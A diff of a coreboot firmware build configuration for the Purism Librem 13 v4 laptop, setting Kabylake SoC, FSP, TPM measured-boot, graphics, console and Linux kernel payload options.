+CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_kbl/descriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_kbl/me.bin" +CONFIG_MAINBOARD_SUPPORTS_SKYLAKE_CPU=y +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y +# CONFIG_USE_LEGACY_8254_TIMER is not set +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem 13 v4" +# CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_ENABLE is not set CONFIG_HAVE_IFD_BIN=y +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="PNP0F13" +CONFIG_GFX_GMA_PANEL_1_PORT="eDP" +# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set +CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +CONFIG_PCIEXP_CLK_PM=y +CONFIG_GFX_GMA_PANEL_1_ON_EDP=y +# CONFIG_BOARD_PURISM_LIBREM13_V1 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM_MINI is not set +# CONFIG_BOARD_PURISM_LIBREM_MINI_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM_14 is not set +# CONFIG_BOARD_PURISM_LIBREM_11 is not set +# CONFIG_BOARD_PURISM_LIBREM_L1UM_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM13_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V3 is not set CONFIG_BOARD_PURISM_LIBREM13_V4=y +# CONFIG_BOARD_PURISM_LIBREM15_V4 is not set +# CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_SKL=y +CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=16384 +CONFIG_ROM_SIZE=0x01000000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set +CONFIG_POWER_STATE_ON_AFTER_FAILURE=y +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 +# end of Mainboard + +CONFIG_SYSTEM_TYPE_LAPTOP=y + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="soc/intel/skylake/chipset.cb" +CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" +CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x200000 +CONFIG_SMM_MODULE_STACK_SIZE=0x800 +CONFIG_ACPI_BERT_SIZE=0x0 +CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IFD_CHIPSET="sklkbl" +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_MAX_ROOT_PORTS=24 +CONFIG_PCR_BASE_ADDRESS=0xfd000000 +CONFIG_CPU_BCLK_MHZ=100 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 +CONFIG_CPU_XTAL_HZ=24000000 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=2 +CONFIG_SOC_INTEL_I2C_DEV_MAX=6 +# CONFIG_ENABLE_SATA_TEST_MODE is not set +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 +CONFIG_FSP_HEADER_PATH="3rdparty/fsp/KabylakeFspBinPkg/Include/" +CONFIG_FSP_FD_PATH="3rdparty/fsp/KabylakeFspBinPkg/Fsp.fd" +CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 +CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_MAX_HECI_DEVICES=5 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_HAVE_PAM0_REGISTER=y +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x40000 +CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=10 +CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 +CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 +CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_SOC_INTEL_COMMON_SKYLAKE_BASE=y +CONFIG_SOC_INTEL_KABYLAKE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y +CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_SOC_INTEL_COMMON=y + +# +# Intel SoC Common Code for IP blocks +# +CONFIG_SOC_INTEL_COMMON_BLOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y +CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y +# CONFIG_USE_COREBOOT_MP_INIT is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y +CONFIG_INTEL_CAR_NEM_ENHANCED=y +# CONFIG_USE_INTEL_FSP_MP_INIT is not set +CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y +CONFIG_HAVE_HYPERTHREADING=y +CONFIG_FSP_HYPERTHREADING=y +# CONFIG_INTEL_KEYLOCKER is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_MAX is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_256MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_128MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_64MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_32MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_16MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_8MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_4MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_2MB is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_0MB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PCR=y +CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" +CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" +CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" +CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" +CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" +CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" +CONFIG_SOC_INTEL_CSE_RW_FILE="" +CONFIG_SOC_INTEL_CSE_RW_VERSION="" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" +CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y +CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_PADCFG_PADTOL=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y +CONFIG_SOC_INTEL_CONFIGURE_DDI_A_4_LANES=y +# CONFIG_SOC_INTEL_DISABLE_IGD is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC_DISCOVERABLE=y +CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SCS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SGX=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_LOCK_MEMORY=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y +# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 +CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_SA_ENABLE_DPR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y +CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y + +# +# Intel SoC Common PCH Code +# +CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y +CONFIG_SOC_INTEL_COMMON_PCH_BASE=y +CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y +CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y +CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y +CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y + +# +# Intel SoC Common coreboot stages and non-IP blocks +# +CONFIG_SOC_INTEL_COMMON_BASECODE=y +CONFIG_SOC_INTEL_COMMON_RESET=y +CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y +CONFIG_PAVP=y +# CONFIG_MMA is not set +CONFIG_SOC_INTEL_COMMON_NHLT=y +# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set + +# +# CPU +# +CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_PARALLEL_MP=y +CONFIG_PARALLEL_MP_AP_WORK=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_TSC_SYNC_MFENCE=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set CONFIG_CPU_UCODE_BINARIES="3rdparty/purism-blobs/mainboard/purism/librem_kbl/cpu_microcode_blob.bin" + +# +# Northbridge +# + +# +# Southbridge +# +# CONFIG_PCIEXP_HOTPLUG is not set +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# + +# +# Intel Firmware +# CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_CHECK_ME is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +# CONFIG_USE_ME_CLEANER is not set +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_UDK_BASE=y +CONFIG_UDK_2017_BINDING=y +CONFIG_UDK_2013_VERSION=2013 +CONFIG_UDK_2017_VERSION=2017 +CONFIG_UDK_202005_VERSION=202005 +CONFIG_UDK_202302_VERSION=202302 +CONFIG_UDK_VERSION=2017 +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_HAVE_FSP_GOP=y +CONFIG_MAINBOARD_HAS_LIBGFXINIT=y +CONFIG_MAINBOARD_USE_LIBGFXINIT=y +# CONFIG_VGA_ROM_RUN is not set +# CONFIG_RUN_FSP_GOP is not set +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x10000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +CONFIG_MRC_SETTINGS_PROTECT=y +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_NO_UART_ON_SUPERIO=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +# CONFIG_VPD is not set +CONFIG_DRIVERS_GENERIC_CBFS_SERIAL=y +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +CONFIG_DRIVERS_I2C_DESIGNWARE=y +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_FSP_USE_REPO=y +# CONFIG_DISPLAY_HOBS is not set +# CONFIG_DISPLAY_UPD_DATA is not set +# CONFIG_BMP_LOGO is not set +CONFIG_PLATFORM_USES_FSP2_0=y +CONFIG_PLATFORM_USES_FSP2_X86_32=y +CONFIG_HAVE_INTEL_FSP_REPO=y +CONFIG_ADD_FSP_BINARIES=y +CONFIG_FSP_T_LOCATION=0xfffe0000 +CONFIG_FSP_S_CBFS="fsps.bin" +CONFIG_FSP_M_CBFS="fspm.bin" +CONFIG_FSP_FULL_FD=y +CONFIG_FSP_T_RESERVED_SIZE=0x0 +CONFIG_FSP_M_XIP=y +CONFIG_HAVE_FSP_LOGO_SUPPORT=y +CONFIG_FSP_COMPRESS_FSP_S_LZ4=y +CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y +CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 +CONFIG_SOC_INTEL_COMMON_FSP_RESET=y +CONFIG_USE_FSP_NOTIFY_PHASE_POST_PCI_ENUM=y +CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y +CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y +# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_GFX_GMA_IGNORE_PRESENCE_STRAPS=y +CONFIG_GFX_GMA=y +CONFIG_GFX_GMA_DYN_CPU=y +CONFIG_GFX_GMA_GENERATION="Skylake" +CONFIG_GFX_GMA_PCH="Sunrise_Point" +CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" +CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set +# CONFIG_DRIVERS_PS2_KEYBOARD is not set +CONFIG_DRIVERS_MC146818=y +CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set +CONFIG_TPM1=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM1=y +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +# CONFIG_INTEL_CBNT_SUPPORT is not set +CONFIG_BOOTMEDIA_LOCK_NONE=y +# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_CUSTOM_MADT=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_ACPI_LPIT=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +# CONFIG_SPKMODEM is not set +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_ACPI_S1_NOT_SUPPORTED=y +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_IOAPIC=y +CONFIG_ACPI_NHLT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# +# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set +# CONFIG_DISPLAY_FSP_HEADER is not set +# CONFIG_VERIFY_HOBS is not set +# 